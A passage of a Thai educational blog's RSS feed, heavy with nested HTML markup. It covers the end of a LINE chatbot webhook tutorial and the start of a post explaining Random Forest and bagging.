    uvicorn.run(app, host=&quot;0.0.0.0&quot;, port=8000)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-20-at-08.53.54.png" class="kg-image" alt loading="lazy" width="1628" height="156" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/Screenshot-2567-10-20-at-08.53.54.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/Screenshot-2567-10-20-at-08.53.54.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/10/Screenshot-2567-10-20-at-08.53.54.png 1600w, https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-20-at-08.53.54.png 1628w" sizes="(min-width: 720px) 720px"></figure><p><strong>Copy Webhook URL &#xE44;&#xE1B;&#xE27;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48; Line Developer</strong> &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; Verify</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-20-at-08.55.10.png" class="kg-image" alt loading="lazy" width="1772" height="1616" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/Screenshot-2567-10-20-at-08.55.10.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/Screenshot-2567-10-20-at-08.55.10.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/10/Screenshot-2567-10-20-at-08.55.10.png 1600w, https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-20-at-08.55.10.png 1772w" sizes="(min-width: 720px) 720px"></figure><p>Add Line Chatbot &#xE14;&#xE49;&#xE27;&#xE22; QR Code &#xE41;&#xE25;&#xE49;&#xE27;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/10/IMG_4371.jpg" class="kg-image" alt loading="lazy" width="1320" height="825" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/IMG_4371.jpg 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/IMG_4371.jpg 1000w, https://blog.pjjop.org/content/images/2024/10/IMG_4371.jpg 1320w" sizes="(min-width: 720px) 720px"></figure><p></p><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p>]]></content:encoded></item><item><title><![CDATA[Random Forest]]></title><description><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/24712179_6988147.jpg" class="kg-image" alt loading="lazy" width="2000" height="1333" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/24712179_6988147.jpg 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/24712179_6988147.jpg 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/09/24712179_6988147.jpg 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/09/24712179_6988147.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;</em></em></em></em></p>]]></description><link>https://blog.pjjop.org/random-forest/</link><guid isPermaLink="false">66ddbdbc0325e40001ec706d</guid><dc:creator><![CDATA[Nuttachot Promrit]]></dc:creator><pubDate>Mon, 09 Sep 2024 05:35:08 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/24712179_6988147.jpg" class="kg-image" alt loading="lazy" width="2000" height="1333" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/24712179_6988147.jpg 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/24712179_6988147.jpg 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/09/24712179_6988147.jpg 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/09/24712179_6988147.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;&#xE32;</em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE04;&#xE13;&#xE30;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><p>Random Forest &#xE04;&#xE37;&#xE2D; Algorithm &#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07; (Machine Learning) &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE34;&#xE14;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE23;&#xE27;&#xE21; Decision Tree &#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; &#xE15;&#xE49;&#xE19;&#xE40;&#xE02;&#xE49;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE31;&#xE19; &#xE42;&#xE14;&#xE22;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE15;&#xE49;&#xE19;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE36;&#xE49;&#xE19;&#xE08;&#xE32;&#xE01;&#xE04;&#xE38;&#xE13;&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE30;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; (Feature) &#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE48;&#xE21;&#xE21;&#xE32;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE1A;&#xE32;&#xE07;&#xE2A;&#xE48;&#xE27;&#xE19;</p><p>Random Forest &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE17;&#xE04;&#xE19;&#xE34;&#xE04;&#xE01;&#xE32;&#xE23;&#xE23;&#xE27;&#xE21; Model &#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; Model &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Model &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE2A;&#xE39;&#xE07;&#xE02;&#xE36;&#xE49;&#xE19; (Ensemble Learning) &#xE0B;&#xE36;&#xE48;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23;&#xE02;&#xE2D;&#xE07; Bagging (Bootstrap Aggregating) &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE41;&#xE21;&#xE48;&#xE19;&#xE22;&#xE33;&#xE41;&#xE25;&#xE30;&#xE25;&#xE14;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32; Overfitting &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE38;&#xE48;&#xE21;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; (Random Sampling) &#xE41;&#xE1A;&#xE1A;&#xE43;&#xE2A;&#xE48;&#xE04;&#xE37;&#xE19;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE22;&#xE48;&#xE2D;&#xE22;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE0A;&#xE38;&#xE14;&#xE08;&#xE32;&#xE01;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE49;&#xE19;&#xE09;&#xE1A;&#xE31;&#xE1A; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE22;&#xE48;&#xE2D;&#xE22;&#xE2D;&#xE32;&#xE08;&#xE21;&#xE35;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE0B;&#xE49;&#xE33;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE19;&#xE33;&#xE21;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Model &#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; Model &#xE42;&#xE14;&#xE22;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Model &#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE22;&#xE48;&#xE2D;&#xE22;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE48;&#xE21;&#xE21;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;</p><p>&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE21;&#xE35;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE49;&#xE19;&#xE09;&#xE1A;&#xE31;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02; 5 &#xE15;&#xE31;&#xE27; 